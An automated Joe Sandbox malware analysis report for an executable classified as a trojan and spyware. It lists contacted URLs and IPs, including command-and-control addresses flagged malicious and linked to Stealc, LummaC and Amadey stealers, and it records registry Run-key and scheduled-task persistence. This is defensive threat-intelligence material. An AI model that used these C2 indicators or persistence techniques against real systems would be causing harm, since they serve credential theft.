https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.co.uk/	firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com/	firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://truecolors.firefox.com/	firefox.exe, 00000015.00000003.2205722525.0000016C0CFAF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpLe	a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.wykop.pl/	firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com	66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 00000015.00000003.2201912766.0000016C0EFE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2241884499.0000016C0EFEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/	firefox.exe, 00000015.00000003.2205722525.0000016C0CFA1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/complete/	firefox.exe, 00000015.00000003.2200433230.0000016C134B2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd883ccb3237fa39	48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.steampowered.com/	48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/	firefox.exe, 00000015.00000003.2205722525.0000016C0CFAF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/shared/css/shared_responsive.css?v=kR9MtmbWSZEp&l=engli	file.exe, 00000000.00000003.1895523136.000000000114F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907542760.000000000114D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/mobile	file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 00000015.00000003.2124955286.0000016C13515000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpp3	a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.avito.ru/	firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/?subsection=broadcasts	file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com	firefox.exe, 00000015.00000003.2085311564.0000016C0DAD4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37	2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	firefox.exe, 00000015.00000003.2206826860.0000016C0CE52000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows	firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/learniMM	9b7d422018.exe, 0000001F.00000003.2622539528.000000000068C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://e.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000015.00000003.2141421126.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2022685660.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2186790728.0000016C0AF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2019423119.0000016C0AF33000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.videolan.org/x264.html	firefox.exe, 00000018.00000003.2068703676.000002680803D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2066280480.000002680803D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox-api-proxy.cdn.mozilla.net/	firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html	firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.206.204	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
52.222.236.23	services.addons.mozilla.org	United States	16509	AMAZON-02US	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
35.201.103.21	normandy-cdn.services.mozilla.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538460
Start date and time:	2024-10-21 10:45:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@81/55@122/17
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.26.161.5, 52.25.49.43, 34.208.54.237, 216.58.206.46, 2.22.61.56, 2.22.61.59, 172.217.23.106, 142.250.185.170, 142.250.185.206
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, ciscobinary.openh264.org, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, a17.rackcdn.com.mdc.edgesuite.net, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, a19.dscg10.akamai.net, ocsp.digicert.com, redirector.gvt1.com, safebrowsing.googleapis.com, location.services.mozilla.com
Execution Graph export aborted for target 2SGVUOBNN8HUJ5IDUWDR.exe, PID 8020 because there are no executed function
Execution Graph export aborted for target KGMUJDGOAL6LWD7UD45LIZ.exe, PID 7904 because it is empty
Execution Graph export aborted for target file.exe, PID 7428 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 3624 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:46:01	API Interceptor	10x Sleep call for process: file.exe modified
04:46:40	API Interceptor	1x Sleep call for process: firefox.exe modified
04:47:01	API Interceptor	856x Sleep call for process: skotes.exe modified
04:47:15	API Interceptor	88x Sleep call for process: 9b7d422018.exe modified
04:47:26	API Interceptor	38x Sleep call for process: 48bf814d33.exe modified
04:47:35	API Interceptor	23x Sleep call for process: a4769912c1.exe modified
04:47:36	API Interceptor	8x Sleep call for process: 20b68761b3.exe modified
04:47:40	API Interceptor	135x Sleep call for process: 572c19a989.exe modified
04:47:46	API Interceptor	2x Sleep call for process: 66c6d84346.exe modified
04:47:48	API Interceptor	24x Sleep call for process: 768041f87c.exe modified
04:47:52	API Interceptor	56x Sleep call for process: 7617eef03d.exe modified
04:47:55	API Interceptor	28x Sleep call for process: OCYPTLCO9AJSRPZ2BR0OXVLD.exe modified
09:46:27	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
09:47:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9b7d422018.exe C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe
09:47:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run a4769912c1.exe C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe
09:47:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 48bf814d33.exe C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe
09:47:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7617eef03d.exe C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe
09:47:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 20b68761b3.exe C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe
09:48:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 572c19a989.exe C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	S3AYU5t2JP.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	EY5iB1Y7CH.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	xvus4NLqiQ.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
services.addons.mozilla.org	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	52.222.236.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	52.222.236.23
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	52.222.236.48
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	52.222.236.48
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.120
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.120
	WinFIG.exe	Get hash	malicious	LummaC	Browse	52.222.236.120
	WinFIG-2024.exe	Get hash	malicious	LummaC	Browse	52.222.236.48
	SentinelOculus.exe	Get hash	malicious	LummaC	Browse	52.222.236.23
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	18.66.27.53
example.org	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	WinFIG.exe	Get hash	malicious	LummaC	Browse	93.184.215.14
	WinFIG-2024.exe	Get hash	malicious	LummaC	Browse	93.184.215.14
	SentinelOculus.exe	Get hash	malicious	LummaC	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.129
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	WinFIG.exe	Get hash	malicious	LummaC	Browse	104.244.42.129
	WinFIG-2024.exe	Get hash	malicious	LummaC	Browse	104.244.42.1
	SentinelOculus.exe	Get hash	malicious	LummaC	Browse	104.244.42.65
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	https://cambridge.pl/testy-poziomujace	Get hash	malicious	Unknown	Browse	157.240.251.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.252.35
	https://app.creatopy.com/share/d/qvnqyxdo8o7m	Get hash	malicious	Unknown	Browse	157.240.0.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	WinFIG.exe	Get hash	malicious	LummaC	Browse	157.240.253.35
	WinFIG-2024.exe	Get hash	malicious	LummaC	Browse	157.240.0.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
ATGS-MMD-ASUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	bin.i686.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.62.93.218
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	https://app.creatopy.com/share/d/qvnqyxdo8o7m	Get hash	malicious	Unknown	Browse	34.128.128.0
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	bin.armv7l.elf	Get hash	malicious	Mirai	Browse	57.41.103.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	http://aaa.smartrakeback.com/WTB6STlIVERGcUZWU2d6eFpNZjlrWlMxbGVCUGVXcFdJanBKcTdBSkNtNGt1L25xZUNaS0Y2cTRNSzhZenV4YnZuTkpmVGcrUzhYNG1JUUtvYXgvb0E9PQ__	Get hash	malicious	Unknown	Browse	57.129.50.28
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	SecuriteInfo.com.Win64.MalwareX-gen.31663.10814.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.206.204
